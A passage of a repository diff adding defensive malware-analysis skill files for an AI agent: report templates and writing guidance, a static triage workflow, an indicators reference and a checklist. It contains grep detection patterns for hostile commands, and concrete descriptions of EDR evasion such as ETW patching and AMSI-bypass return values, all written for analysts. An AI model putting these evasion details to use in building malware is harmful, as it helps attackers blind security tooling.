1. [Remove malware using antivirus/manual removal]
2. [Restore from clean backups if needed]
3. [Reset compromised credentials]
4. [Monitor for reinfection]
---
## Technical Details
[Additional technical information, screenshots, memory dumps analysis, code snippets, etc.]
---
## Conclusion
[Final summary paragraph with key takeaways and overall assessment]
---
## References
- [VirusTotal Report Link]
- [Any.Run Sandbox Report]
- [External research/blog posts about similar samples]
- [CVE numbers if applicable]
---
## Appendix
### Analysis Timeline
- [Timestamp]: [Event]
- [Timestamp]: [Event]
### Tools Used
- [Tool name and version]
- [Tool name and version]
### Screenshots
[Include relevant screenshots from analysis]

View File

@@ -0,0 +1,200 @@
# Malware Report Writing Best Practices
## Report Writing Principles
### Clarity and Precision
- Use clear, unambiguous language
- Define technical terms when first used
- Avoid assumptions about reader's technical knowledge
- Be specific with details (exact timestamps, full file paths, complete hashes)
### Completeness
- Document all analysis steps taken
- Include negative findings (what wasn't found is also important)
- Provide sufficient context for each finding
- Link behaviors to specific evidence
### Objectivity
- Report facts, not opinions
- Use evidence-based statements
- Clearly distinguish between observations and inferences
- Acknowledge limitations or uncertainties in analysis
### Actionability
- Provide clear IOCs that can be operationalized
- Include detection rules that are tested and validated
- Give specific, prioritized remediation steps
- Consider the audience (technical team, management, stakeholders)
## Structure Guidelines
### Executive Summary
**Purpose:** Provide non-technical decision-makers with key information
**Include:**
- What the malware does (in plain language)
- How critical the threat is
- Immediate actions needed
- Business impact if applicable
**Avoid:**
- Technical jargon without explanation
- Excessive detail
- Assumptions about reader's technical knowledge
**Length:** 2-4 paragraphs maximum
### Technical Analysis Sections
**Purpose:** Provide detailed evidence and technical findings
**Include:**
- Step-by-step methodology
- Evidence with context
- Screenshots/hex dumps when relevant
- Analysis tool outputs
- Timestamps and version information
**Organize by:**
- Analysis phase (static → dynamic)
- System area (file system → registry → network)
- Chronological order of behaviors
### IOCs Section
**Purpose:** Provide immediately usable indicators
**Format Guidelines:**
- Group by type (file, network, host)
- Include context for each IOC
- Note confidence levels if uncertain
- Provide expiration guidance for time-sensitive IOCs
**Quality Checks:**
- Remove personal/environment-specific artifacts
- Verify IOCs aren't common legitimate values
- Test that IOCs actually match the malware
- Include both specific and generic indicators
### Detection Rules
**Purpose:** Enable ongoing detection
**YARA Rules:**
- Test against sample to verify detection
- Test against clean files to avoid false positives
- Use meaningful string names and comments
- Include metadata (author, date, description, hash)
- Set appropriate conditions (avoid over-matching)
**Sigma Rules (if applicable):**
- Target specific behaviors not easily evaded
- Consider false positive scenarios
- Test with sample logs if possible
- Document expected log sources
## Common Pitfalls to Avoid
### Over-reliance on Automated Tools
- Don't just copy-paste tool output
- Interpret and contextualize findings
- Verify automated findings manually when critical
- Acknowledge tool limitations
### Missing Context
- Don't list IOCs without explaining their significance
- Connect behaviors to malware capabilities
- Explain why something is malicious
- Provide the "so what?" for technical findings
### Incomplete IOCs
- Don't provide just one hash type
- Include full paths, not just filenames
- Capture complete URLs, not just domains
- Document registry value data, not just keys
### Poor Detection Rules
- Rules that match too broadly (false positives)
- Rules that are too specific (easily evaded)
- Untested rules
- Rules without context/comments
### Weak Remediation Guidance
- Vague recommendations ("improve security")
- No prioritization of actions
- Steps that aren't actually actionable
- Missing consideration of operational impact
## Writing Style Guide
### Technical Accuracy
- Use precise technical terminology
- Include version numbers for software/tools
- Specify architectures (x86/x64)
- Use full protocol names first mention (HTTP/HTTPS/DNS)
### Tense and Voice
- Use past tense for observations ("The malware created...")
- Use present tense for general facts ("The malware is a trojan...")
- Prefer active voice ("The malware connected to..." vs "A connection was made...")
### Formatting Standards
- Use code blocks for file paths, registry keys, commands
- Use tables for structured data (sample information, IOCs)
- Use bullet points for lists, not paragraphs
- Bold or italicize key terms sparingly
- Use consistent heading hierarchy
### Evidence Documentation
- Include timestamps with timezone
- Provide full file paths
- Include process IDs (PIDs) for process activity
- Document tool versions used
- Include return codes/error messages when relevant
## Audience Considerations
### For Technical Teams
- Include detailed technical evidence
- Provide analysis methodology
- Share tool commands used
- Include raw indicators
### For Management
- Focus on business impact
- Translate technical findings to risk
- Provide clear recommendations
- Include cost/effort estimates for remediation
### For Incident Response
- Prioritize IOCs and detection rules
- Include timeline of events
- Provide containment guidance
- Document lateral movement paths
## Sample Report Improvements
### Before (Poor)
"The malware is bad and does network stuff. Found some registry keys. Use this YARA rule."
### After (Good)
"The malware is a backdoor trojan that establishes C2 communication with 192[.]168[.]1[.]100:8080. It achieves persistence through a registry Run key at HKCU\Software\Microsoft\Windows\CurrentVersion\Run\Update with value C:\Users\Public\svchost.exe. The included YARA rule detects based on unique API call sequences and embedded C2 configuration strings."
## Time Management Strategies
### Phase 1-2: Analysis
- Perform thorough analysis
- Take detailed notes
- Capture all evidence (screenshots, logs)
- Document as you go
### Phase 3: Detection Engineering
- Finish any remaining analysis
- Create detection rules
- Test YARA rules
- Organize all findings
### Phase 4: Report Writing
- Draft all technical sections
- Refine technical sections
- Write executive summary and review
- Final quality check before delivery
**Pro Tip:** Don't wait until the end to start writing. Document findings during analysis to save time.

View File

@@ -0,0 +1,228 @@
---
name: malware-triage
description: Rapid static assessment, classification, and prioritization of malware samples. Use for the first look at any unknown file — hashes, file type, packing, imports, strings, initial IOCs, threat level, and the decision on which deep-analysis phase comes next. Claude runs the static tooling on the host itself; the sample is never executed.
---
# Malware Triage
First phase for every sample. You run static tools on the host, interpret the output, classify the sample, and decide the next phase. Target: 5-15 minutes per sample.
## Execution Model
- **You run the commands.** You have Bash. Execute every command in this skill yourself and interpret the output. Do not ask the user to run tools or paste results unless a tool is missing and cannot be installed.
- **Locate skill files.** Scripts and reference files ship in this skill's directory. Set `R="${CLAUDE_PLUGIN_ROOT:-<dir containing this SKILL.md>}"` once (when installed as a plugin `$CLAUDE_PLUGIN_ROOT` is set; otherwise it is this skill folder). Your working directory is the user's analysis workspace, so prefix every script path below with `$R`, e.g. `python3 "$R"/scripts/ioc_extract.py`.
- **Never execute the sample.** Only static tools touch it: `file`, `strings`, `pe_info.py`, `upx -d`, `7z l`, hashing. No `chmod +x`, no `wine`, no `./sample`.
- **Never upload the sample** to any service without explicit consent. Hash lookups are fine; file uploads are not.
- **Script paths** are relative to this skill directory. From the repo/skill root: `malware-triage/scripts/pe_info.py`, `malware-triage/scripts/hash_calculator.py`, `scripts/ioc_extract.py`. Resolve them from wherever this SKILL.md lives.
- **Tool check first.** Run once per session; note what is missing and degrade rather than stop:
```bash
command -v file strings upx 7z yara; python3 -c "import pefile" 2>&1 | tail -1
# pefile missing -> pip install pefile (needed by pe_info.py)
```
- **Big outputs:** never `cat` a strings dump. Save to a file, `wc -l`, then `grep`/`head`.
- **Ask the user only for:** the sample path, context (where it came from, incident ID, anything already known), and reputation results if no MCP server is available.
## Workflow
### Step 1 — Identify and hash
```bash
S=/path/to/sample
file "$S"; ls -l "$S"
python3 malware-triage/scripts/hash_calculator.py "$S"
```
Record MD5/SHA1/SHA256, size, `file` output. Then route on the `file` output:
| `file` says | Action |
|-------------|--------|
| `Mono/.Net assembly` | Record hashes, hand back to orchestrator → `specialized-file-analyzer` (check this **before** PE) |
| `Microsoft Office`, `PDF document`, `ELF`, `MS Windows shortcut`, `Zip/RAR/7-zip`, `ISO 9660`, `Microsoft Disk Image`, `HTML document`, script/text | Record hashes, hand back to orchestrator → `specialized-file-analyzer` |
| `PE32` / `PE32+` (not .NET) | Continue below |
| `data` / unrecognized | Continue at **Unknown Files** |
### Step 2 — Reputation
- **MCP available** (VirusTotal, Threat Intel / MalwareBazaar): look up the SHA256. Record detection ratio, family labels, first-seen date, tags. Look up any imphash and section hashes too.
- **No MCP:** give the user the SHA256 and ask them to check VirusTotal / MalwareBazaar while you continue. Do not block on it. Zero detections on a fresh hash means nothing; 0 detections on an old hash is informative.
- Reputation is a hint, not the verdict. Static findings override AV labels.
### Step 3 — PE static summary
```bash
python3 malware-triage/scripts/pe_info.py "$S" # add --json for structured output
```
Read every section of the output. What matters:
| Output | Interpretation |
|--------|----------------|
| `.NET: YES` | Stop, route to specialized-file-analyzer |
| Compile timestamp in the future / before 2000 | Forged; ignore for dating. Rich header linker info is harder to fake |
| Overall entropy > 7.0, or executable section > 6.8, or `!` markers | Packed/encrypted — see **Packed Samples** |
| Entry point outside `.text`/`CODE`, or in last section | Packer stub or appended code |
| Import count < 10, or only `LoadLibrary`/`GetProcAddress`/`VirtualAlloc` | Runtime API resolution — packed or deliberately hiding imports |
| Suspicious import categories (injection, keylogging, network, anti-debug, crypto, persistence) | Map each to a capability; cross-check with `references/indicators.md` |
| Overlay present | Appended data: config, second-stage payload, or installer archive. Carve it: `python3 -c "..."` using the reported offset, then `file` the result |
| Signature present | Verify claimed signer; revoked/self-signed/mismatched = red flag. Unsigned is neutral |
| PDB path | Project/user names, build environment — high-value attribution string |
| Resources with high entropy or large size | Embedded payload. Note type/size; extract in deep analysis |
| TLS callbacks | Code runs before entry point — anti-debug or early unpacking |
| Version info mimicking Microsoft/Adobe/etc. while unsigned | Masquerading |
### Step 4 — Strings and IOCs
```bash
W=triage_$(basename "$S") # work dir
mkdir -p "$W"
strings -a -n 6 "$S" > "$W/strings_ascii.txt"
strings -a -n 6 -e l "$S" > "$W/strings_wide.txt" # UTF-16LE, essential for Windows binaries
wc -l "$W"/strings_*.txt
python3 scripts/ioc_extract.py "$W"/strings_*.txt # defanged IPs, domains, URLs, emails, hashes, reg keys, paths
```
Then targeted greps (adjust after reading the ioc_extract output):
```bash
grep -ihE 'HKEY_|HKLM|HKCU|CurrentVersion\\Run|schtasks|sc create|netsh|vssadmin|bcdedit|wmic' "$W"/strings_*.txt | sort -u | head -40
grep -ihE 'user-agent|mozilla/|POST |GET |Content-Type|\.php|\.onion|/gate|/panel' "$W"/strings_*.txt | sort -u | head -40
grep -ihE 'mutex|Global\\|Local\\|\\pipe\\' "$W"/strings_*.txt | sort -u | head -20
grep -ihE 'IsDebuggerPresent|VMware|VBox|vbox|QEMU|Xen|sandbox|SbieDll|wireshark|procmon|ollydbg|x64dbg' "$W"/strings_*.txt | sort -u
grep -ihE 'bitcoin|monero|\.onion|decrypt|ransom|your files|README' "$W"/strings_*.txt | sort -u | head -20
grep -ihE '\.exe|\.dll|\.bat|\.ps1|\.vbs|\.tmp' "$W"/strings_*.txt | grep -viE 'kernel32|ntdll|user32|advapi32|msvcr|api-ms-win' | sort -u | head -40
```
Note what is **absent** too: a binary with network imports but no URL/IP strings is decrypting its config at runtime.
Suspicious-API and string categories: `references/indicators.md`.
### Packed Samples
Triggered by Step 3 entropy/import findings.
| Packer | Indicators | Unpack on host? |
|--------|------------|-----------------|
| UPX | `UPX0`/`UPX1` sections, `UPX!` in overlay | Yes: `upx -d "$S" -o "$W/unpacked.exe"` |
| Themida / WinLicense | `.themida`, `.winlicense` sections, huge protected section | No — dynamic analysis |
| VMProtect | `.vmp0`/`.vmp1` | No — dynamic analysis |
| ASPack / MPRESS / Petite / Enigma / Upack | named sections (`.aspack`, `.MPRESS1`, `.petite`, `.enigma1`, `.Upack`) | Rarely — dynamic analysis |
| Custom / unknown | high entropy, few imports, no known section names | No — dynamic analysis |
If UPX unpacking succeeds: hash the unpacked file, re-run Steps 3-4 on it, record both hashes (packed = delivery artifact, unpacked = what matches families). If `upx -d` fails, the UPX header was tampered; treat as custom.
Set sophistication: known packer → at least Moderate; commercial protector → Advanced; custom packer → Advanced/APT. Add "requires dynamic analysis to reveal imports/strings" to next steps.
### Step 5 — Classify
Combine imports, strings, reputation, and context. Consult `references/indicators.md` for the patterns.
| Type | Typical evidence |
|------|------------------|
| Trojan / RAT / Backdoor | socket or WinHTTP + command dispatch strings, screen/keyboard APIs, persistence |
| Ransomware | Crypt* APIs, file enumeration, `vssadmin delete shadows`, ransom-note strings, wallet addresses |
| Infostealer | browser profile paths (`Login Data`, `cookies.sqlite`), wallet dirs, `CryptUnprotectData`, exfil URL |
| Dropper / Loader | small binary, high-entropy resource or overlay, `URLDownloadToFile`, `WriteFile` + `CreateProcess`, few other capabilities |
| Cryptominer | pool URLs (`stratum+tcp://`), `xmrig`, high CPU-related config strings |
| Worm | SMB/RPC APIs, network share enumeration, removable-drive checks |
**Threat level:** Critical (destructive, ransomware, APT) / High (data theft, full compromise) / Medium (limited capability, targeted) / Low (adware, PUP, commodity).
**Sophistication:** Simple / Moderate / Advanced / APT-level, driven by protection, evasion, and custom code.
**Verdict:** Malicious / Suspicious / Benign. Benign requires positive evidence (valid signature from a plausible vendor, expected imports for its stated purpose, reputation clean over time), not just absence of red flags.
### Step 6 — Predict behavior
Turn static evidence into a watch list for the dynamic phase. Each prediction names the evidence:
- **Process:** child processes or injection expected? Which targets (`CreateRemoteThread` + `OpenProcess` → injection; `CreateProcess` + `cmd`/`powershell` strings → LOLBin chain)?
- **Files:** paths from strings; temp/AppData drops if `GetTempPath`/`SHGetFolderPath` imported.
- **Registry:** Run keys, service creation, IFEO from strings/imports.
- **Network:** protocol (WinHTTP/WinINet → HTTP(S); `socket`/`connect` → raw TCP; `DnsQuery` only → DNS tunnelling/DGA), hard-coded C2 vs runtime-decrypted, likely beacon.
- **Persistence:** mechanism and location.
- **Evasion:** anti-VM/anti-debug strings → plan for bypass (`malware-dynamic-analysis/references/anti_analysis_bypass.md`).
These predictions become the Procmon/Sysmon filters and the observation plan for `malware-dynamic-analysis`.
### Step 7 — Priority and next phase
| Priority | When |
|----------|------|
| **Immediate** | Unknown/undetected, incident-related, destructive capability, APT indicators, matches current threat intel |
| **Standard** | Known family variant, commodity malware with existing coverage |
| **Low** | Well-documented sample, adware/PUP, old, likely false positive |
Next phase: `malware-dynamic-analysis` for PE files that are packed, have runtime-resolved config, or need behavioral confirmation; `detection-engineer` + `malware-report-writer` directly when the sample is a known variant and static IOCs suffice; `Benign` closes the sample.
## Unknown Files
`file` returned `data` or something unhelpful:
```bash
xxd "$S" | head -20 # magic bytes, structure
strings -a -n 8 "$S" | head -50
python3 - "$S" <<'EOF' # single-byte XOR brute force for a hidden PE
import sys; b=open(sys.argv[1],'rb').read()
for k in range(1,256):
d=bytes(x^k for x in b[:4096])
if d[:2]==b'MZ' or b'This program cannot' in d: print(f"XOR key 0x{k:02x} reveals PE header")
EOF
```
Also check: base64 blob (`[A-Za-z0-9+/]{100,}`), gzip/zlib magic (`1f 8b`, `78 9c`), reversed PE (`ZM` at end), shellcode (starts with `fc e8` / `e8 00 00 00 00` / `55 8b ec`). Decode what you find, `file` the result, and re-route.
## Batch Triage
For N samples, do a quick pass on all before deep-diving any:
```bash
for f in samples/*; do
echo "== $f"; file "$f"; sha256sum "$f"
python3 malware-triage/scripts/pe_info.py "$f" 2>/dev/null | grep -E '^\.NET:|packed|imported functions'
done
```
Produce a ranking table (sample, type, packed, detections, priority, one-line reason), then run the full workflow on Immediate samples first.
## Output
1. **Print the triage report** (template below, filled in — no placeholders left).
2. **Append to `analysis_state.md`** in the user's working directory using the orchestrator's structure: hashes, type, priority, classification, threat level, triage findings, IOCs (defanged), next-phase recommendation.
3. **Recommend the next phase** with reasoning, then wait for the user.
```markdown
## Triage Report — [filename]
**Hashes:** MD5 … / SHA1 … / SHA256 … **Size:** … bytes **Type:** … **Packed:** No | Yes (packer)
**Reputation:** VT x/y, family label(s), first seen … | not checked
### Static Findings
- Compile time / linker / signature / PDB
- Sections + entropy (flag anomalies)
- Suspicious imports by category → capability
- Notable strings: URLs, IPs, paths, registry, mutex, UA, commands
- Resources / overlay / TLS callbacks
### Classification
**Verdict:** Malicious | Suspicious | Benign **Type:** … **Threat:** Critical | High | Medium | Low **Sophistication:** …
**Capabilities:** …
### Predicted Behavior
Process / Files / Registry / Network / Persistence / Evasion — each with the evidence behind it
### Initial IOCs (defanged)
File: hashes, imphash, dropped names · Network: … · Host: registry, paths, mutex
### Recommendation
**Priority:** … **Next phase:** … **Why:** …
```
## Quality Gate
Before handing back: all three hashes; `file` type; packing status with evidence; imports categorized; strings run in both ASCII and UTF-16; IOCs extracted and defanged; classification with reasoning; predictions tied to evidence; state file updated.
## References
- `references/indicators.md` — suspicious API imports, string patterns, behavioral indicators, packer signatures, classification patterns
- `references/triage_checklist.md` — full checklist, decision tree, dynamic go/no-go criteria, tool reference
- `scripts/pe_info.py` — PE header/section/import/resource/overlay/signature summary (needs `pefile`)
- `scripts/hash_calculator.py` — MD5/SHA1/SHA256
- `../scripts/ioc_extract.py` — IOC extraction and defanging from any text

View File

@@ -0,0 +1,325 @@
# Common Malware Indicators Reference
## Suspicious Import Functions
### Process Injection/Manipulation
- `CreateRemoteThread` - Inject code into another process
- `WriteProcessMemory` - Write to another process's memory
- `VirtualAllocEx` - Allocate memory in another process
- `OpenProcess` - Access another process
- `NtUnmapViewOfSection` - Process hollowing technique
- `SetThreadContext` - Modify thread execution
- `ResumeThread` - Resume suspended thread (often after injection)
- `QueueUserAPC` - APC injection technique
### Keylogging
- `SetWindowsHookEx` - Install keyboard hooks
- `GetAsyncKeyState` - Poll keyboard state
- `GetForegroundWindow` - Get active window title
- `GetKeyState` - Check key status
### Network Activity
- `InternetOpen` / `InternetOpenUrl` - WinINet HTTP requests
- `HttpSendRequest` - Send HTTP request
- `send` / `recv` - Raw socket communication
- `WSAStartup` - Initialize Winsock
- `connect` / `socket` - Network connections
- `URLDownloadToFile` - Download files from URLs
### Persistence Mechanisms
- `RegSetValueEx` / `RegCreateKeyEx` - Registry manipulation
- `CreateService` - Install Windows service
- `StartService` - Start service
- `ITaskService` / `ITaskFolder::RegisterTaskDefinition` - COM interfaces for scheduled task creation; `schtasks.exe /create` is the command-line equivalent
### Stealth/Anti-Analysis
- `IsDebuggerPresent` - Debugger detection
- `CheckRemoteDebuggerPresent` - Remote debugger check
- `NtQueryInformationProcess` - Process information (anti-debug)
- `GetTickCount` - Timing checks (anti-sandbox)
- `Sleep` - Delay execution (sandbox evasion)
- `FindWindow` - Look for analysis tools
### EDR/Telemetry Evasion
- `EtwEventWrite` / `NtTraceEvent` - ETW patching target; writing 0xC3 (ret) to prologue blinds EDR telemetry
- `AmsiScanBuffer` / `AmsiScanString` / `AmsiInitialize` - AMSI bypass targets; patched to return S_OK (0) with AMSI_RESULT_CLEAN (0), or to return E_INVALIDARG so the caller treats the result as no threat
- `UpdateProcThreadAttribute` - PPID spoofing when called with PROC_THREAD_ATTRIBUTE_PARENT_PROCESS attribute
- `VirtualProtect` - Required before patching; look for calls targeting ntdll.dll or amsi.dll memory ranges
- `GetProcAddress` + `LoadLibrary` - Runtime API resolution to avoid static import evidence (common in syscall stubs)
### Callback-based Shellcode Execution
- `EnumChildWindows` / `EnumDesktopWindows` - Callback used as execution primitive instead of CreateThread
- `CreateTimerQueueTimer` - Timer callback used to invoke shellcode
- `TpAllocWork` / `TpPostWork` / `TpReleaseWork` - Threadpool callbacks for shellcode dispatch
- `SetTimer` / `EnumSystemLocales` / `EnumTimeFormatsEx` - Less common callback execution primitives
### File Manipulation
- `CreateFile` / `WriteFile` / `ReadFile` - File I/O
- `DeleteFile` - Delete files
- `MoveFile` / `CopyFile` - File operations
- `FindFirstFile` / `FindNextFile` - Directory enumeration
### Encryption/Encoding
- `CryptEncrypt` / `CryptDecrypt` - Data encryption
- `CryptAcquireContext` - Crypto provider setup
- `CryptGenKey` - Generate encryption keys
## Suspicious String Patterns
### Network Indicators
- Hardcoded IP addresses (especially RFC1918 or suspicious IPs)
- Domain names (especially newly registered or suspicious TLDs)
- URL patterns: `http://`, `https://`, `ftp://`
- Port numbers in strings (especially non-standard ports)
- User-Agent strings (especially custom/unusual ones)
- Email addresses (especially for data exfiltration)
### File Paths
- `%APPDATA%`, `%TEMP%`, `%LOCALAPPDATA%` - Common malware locations
- `\Microsoft\Windows\Start Menu\Programs\Startup\` - Persistence
- `C:\ProgramData\` - Hidden location
- Hidden folders: `$Recycle.Bin`, `System Volume Information`
### Registry Keys
**Persistence (Run Keys):**
- `Software\Microsoft\Windows\CurrentVersion\Run`
- `Software\Microsoft\Windows\CurrentVersion\RunOnce`
- `SOFTWARE\Microsoft\Windows\CurrentVersion\RunServices`
**System Modification:**
- `SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon` (especially Userinit, Shell)
- `SYSTEM\CurrentControlSet\Services` - Service installation
- `SOFTWARE\Microsoft\Windows\CurrentVersion\policies` - Policy changes
### Commands and Scripts
- PowerShell indicators:
- `-EncodedCommand` - Base64 encoded commands
- `-ExecutionPolicy Bypass` - Bypass script restrictions
- `-WindowStyle Hidden` - Hide execution
- `DownloadString`, `DownloadFile` - Download payloads
- `IEX` (Invoke-Expression) - Execute code
- CMD indicators:
- `cmd.exe /c` - Execute command
- `schtasks` - Task scheduling
- `reg add` - Registry manipulation
- `netsh` - Network/firewall changes
- `wmic` - WMI commands
- `rundll32` - Execute DLL functions
### Encoding/Obfuscation
- Base64 encoded strings (check for padding: `==`)
- Hex encoded data
- XOR key patterns
- Reversed strings
- Unicode/wide character strings
### Cryptocurrency
- Bitcoin addresses (start with 1, 3, or bc1)
- Ethereum addresses (0x followed by 40 hex chars)
- Monero addresses
- Wallet-related terms: "wallet.dat", "cryptocurrency"
### Ransomware Indicators
- File extension strings: `.encrypted`, `.locked`, `.crypto`, etc.
- Ransom note filenames: `README.txt`, `HOW_TO_DECRYPT.txt`
- Payment terms: "bitcoin", "decrypt", "ransom", "payment"
- Encryption terms: "AES", "RSA", "encrypted"
## Suspicious File Characteristics
### PE Header Anomalies
- Compilation timestamp in the future
- Compilation timestamp too old for file features
- Mismatched architecture in headers
- Unusual section names (normal: `.text`, `.data`, `.rdata`, `.rsrc`)
- High entropy sections (>7.0 suggests encryption/packing)
- Overlapping sections
- Large overlay data
- Missing or invalid digital signatures
### Entropy Analysis
- **Low entropy (0-3):** Likely unencrypted, readable data
- **Medium entropy (3-5):** Typical compiled code
- **High entropy (7-8):** Packed, encrypted, or compressed
- Check individual PE sections for high entropy
### Packer Signatures
**Common packers:**
- UPX (common, legitimate and malicious)
- ASPack
- PECompact
- Themida/WinLicense (strong protection)
- Armadillo
- VMProtect
- Enigma Protector
- Custom/unknown packers (more suspicious)
### File Size Oddities
- Very small for claimed functionality (<10KB for complex malware)
- Unusually large resources section
- Significant overlay data
- File size doesn't match claimed type
## Behavioral Indicators
### Anti-Analysis Behaviors
- Checks for VM artifacts (VMware, VirtualBox, QEMU)
- Looks for debugger presence
- Timing checks (execution delays)
- Checks for analysis tools (Process Monitor, Wireshark, IDA)
- Sandbox detection (limited resources, username checks)
- Parent process verification
- Mouse movement monitoring
- Checks for user interaction
### Modern EDR/AV Evasion Techniques
**ETW Patching:**
- Overwrites the prologue of `EtwEventWrite` or `NtTraceEvent` with a `ret` instruction (0xC3) to suppress Event Tracing for Windows telemetry
- Look for: `VirtualProtect` → `WriteProcessMemory`/`memcpy` targeting ntdll address space, followed by restoration of original page protections
- Effect: EDR and ETW-based logging goes blind for the process lifetime
**AMSI Bypass:**
- Patches `AmsiScanBuffer` or `AmsiScanString` in amsi.dll to return S_OK (0) with `AMSI_RESULT_CLEAN` (0), or to return E_INVALIDARG so the caller treats the result as no threat; disables script content scanning
- Look for: `LoadLibrary("amsi.dll")` + `GetProcAddress` + `VirtualProtect` + small write (1-8 bytes); or `AmsiInitialize` never called while PowerShell/script engine is used
- Effect: Malicious PowerShell, VBScript, or JScript passes AMSI unchecked
**Direct Syscalls / SysWhispers:**
- Bypasses EDR hooks placed on ntdll.dll exports by issuing raw syscall/sysenter instructions with the correct System Service Number (SSN)
- Look for: `syscall` or `sysenter` instructions in non-system modules (use `objdump`/`dumpbin`); runtime SSN resolution via ntdll stub scanning (Hell's Gate, Halo's Gate, Tartarus Gate patterns); absence of ntdll imports for expected operations (no `NtAllocateVirtualMemory` import but memory is allocated)
- Common SSNs targeted: NtAllocateVirtualMemory, NtWriteVirtualMemory, NtCreateThreadEx, NtProtectVirtualMemory
**PPID Spoofing:**
- Creates a child process with a forged parent PID by passing a handle to the target parent via `UpdateProcThreadAttribute(PROC_THREAD_ATTRIBUTE_PARENT_PROCESS)` before calling `CreateProcess`
- Look for: `OpenProcess` on an unrelated high-privilege process (e.g., explorer.exe, svchost.exe) immediately before `CreateProcess`; process tree in logs showing implausible parent-child relationships
- Effect: Evades detections that trigger on suspicious parent-child pairs (e.g., Word spawning cmd.exe)
**Module Stomping / DLL Hollowing:**
- Loads a legitimate, signed DLL into memory then overwrites its `.text` section with malicious shellcode, so execution appears to originate from a trusted module
- Look for: `LoadLibrary` on an unexpected DLL followed by `VirtualProtect(PAGE_EXECUTE_READWRITE)` and `WriteProcessMemory`/`memcpy` into that DLL's base address; signed DLL mapped but exports resolve to unexpected code
- Distinguish from process hollowing: the host process is not suspended — the stomped DLL simply runs attacker code under a legitimate module name
### Persistence Techniques
- Registry Run key modification
- Scheduled task creation
- Service installation
- WMI event subscriptions
- DLL hijacking/search order hijacking
- AppInit_DLLs registry key
- Startup folder files
- Browser extension installation
### Network Patterns
- Beaconing (regular C2 communication)
- HTTP with suspicious User-Agents
- Raw socket connections
- IRC protocols
- DNS tunneling (unusual DNS queries)
- TOR usage
- Fast flux domains
### Data Exfiltration
- Unusual outbound data volumes
- Screenshots being taken
- Credential harvesting
- Browser data collection
- Keylogger output transmission
- File upload to external servers
## Red Flags by File Type
### Executable Files (.exe, .dll, .scr)
- No digital signature or invalid signature
- Packed/protected
- Very few imports (possibly resolved at runtime)
- Unusual compilation timestamp
- Suspicious filename mimicking system files
### Script Files (.ps1, .vbs, .js, .bat)
- Heavy obfuscation
- Base64 encoded sections
- Download and execute patterns
- WMI usage for execution
- Registry manipulation
### Office Documents (.doc, .xls, .docx, .xlsx)
- Macros enabled
- Auto-execute macro names (AutoOpen, Auto_Open, Workbook_Open)
- External template references
- Embedded objects
- Suspicious OLE streams
### Archive Files (.zip, .rar, .7z)
- Executable files with misleading extensions
- Multi-layer nested archives
- Password-protected archives (especially with generic passwords)
- Suspicious filenames inside
## Quick Classification Patterns
### Ransomware
- File encryption APIs
- Many file I/O operations
- File extension changes
- Ransom note creation
- Cryptocurrency addresses
- File deletion after encryption
### Trojan/RAT
- Network communication APIs
- Remote control capabilities
- Screen capture
- File transfer
- Command execution
- Persistence mechanisms
### Infostealer
- Browser data access
- Credential harvesting
- Clipboard monitoring
- Form grabbing
- Cookie stealing
- Cryptocurrency wallet targeting
### Dropper/Loader
- Embedded resources
- Creates and executes files
- Downloads additional payloads
- Process injection
- Minimal visible functionality
### Cryptominer
- High CPU usage
- Mining pool connections
- Cryptocurrency-related strings
- GPU access APIs
- Persistence with hidden processes
## Tool Detection Strings
Malware often checks for these analysis tools:
**Debuggers:**
- OllyDbg, x64dbg, IDA Pro, WinDbg
- Immunity Debugger
**Monitors:**
- Process Monitor (procmon), Process Explorer
- Wireshark, Fiddler
- TCPView, RegShot
**Sandboxes:**
- Cuckoo, Joe Sandbox
- Any.Run, Hybrid Analysis
- VMRay, FireEye
**VM Artifacts:**
- "VMware", "VirtualBox", "QEMU", "Hyper-V"
- "vmmouse", "vmhgfs", "vboxguest"
- Registry keys related to VMs
**Analysis Artifacts:**
- Username: "sandbox", "malware", "virus", "sample"
- Hostname: "VIRUS-PC", "MALWARE-ANALYSIS"
- Limited resources (low RAM, CPU count)

View File

@@ -0,0 +1,252 @@
# Malware Triage Checklist
## Initial Assessment Phase
### File Information Collection
- [ ] Calculate all hashes (MD5, SHA1, SHA256)
- [ ] Document original filename
- [ ] Record file size
- [ ] Identify file type (PE32/PE64/Script/Document/Archive)
- [ ] Note file creation/modification timestamps
- [ ] Check for file signatures (magic bytes)
### Reputation and Context
- [ ] Search hash on VirusTotal
- [ ] Search hash on MalwareBazaar
- [ ] Search hash on Hybrid Analysis
- [ ] Check if file is known good/bad
- [ ] Review AV detection rates
- [ ] Check submission dates and prevalence
- [ ] Review any available sandbox reports
### Quick Static Indicators
#### PE Files
- [ ] Check if file is packed/compressed (high entropy)
- [ ] Identify packer if detected (UPX, ASPack, Themida, etc.)
- [ ] Review PE sections (unusual names, high entropy sections)
- [ ] Check compilation timestamp (realistic or fake)
- [ ] Examine digital signature (signed/unsigned, valid/invalid)
- [ ] Review import table for suspicious APIs
- [ ] Check for overlay data
- [ ] Examine resources (icons, version info, embedded files)
#### Script Files (PowerShell, JavaScript, VBS, etc.)
- [ ] Check for obfuscation
- [ ] Identify encoding methods (Base64, hex, etc.)
- [ ] Look for download/execution commands
- [ ] Check for embedded URLs or IPs
- [ ] Review variable/function names (random = suspicious)
#### Office Documents
- [ ] Check for macros
- [ ] Examine embedded objects/OLE streams
- [ ] Look for external references (templates, links)
- [ ] Check for DDE/equation editor exploits
- [ ] Review document metadata
### Strings Analysis
- [ ] Extract readable strings
- [ ] Look for URLs and IP addresses
- [ ] Identify file paths
- [ ] Find registry keys
- [ ] Check for email addresses
- [ ] Look for error messages or debug strings
- [ ] Identify cryptocurrency wallet addresses
- [ ] Find mutex names
- [ ] Locate service/process names
### Behavior Prediction
Based on initial findings, predict likely behaviors:
- [ ] Network communication expected?
- [ ] File creation/modification expected?
- [ ] Registry changes expected?
- [ ] Process injection expected?
- [ ] Persistence mechanism type?
## Classification Phase
### Malware Type Determination
- [ ] Trojan (general backdoor/RAT)
- [ ] Ransomware (file encryption)
- [ ] Worm (self-propagating)
- [ ] Rootkit (stealth/hiding)
- [ ] Botnet client
- [ ] Infostealer (credentials, browser data)
- [ ] Keylogger
- [ ] Backdoor/RAT
- [ ] Dropper/Loader
- [ ] Cryptominer
- [ ] Adware/PUP
- [ ] Banking trojan
- [ ] Unknown/Hybrid
### Sophistication Assessment
- [ ] Simple (basic functionality, no obfuscation)
- [ ] Moderate (some obfuscation, standard techniques)
- [ ] Advanced (heavy obfuscation, anti-analysis)
- [ ] APT-level (custom, targeted, advanced evasion)
### Threat Level
Based on capabilities and target:
- [ ] Critical (destructive, wide impact)
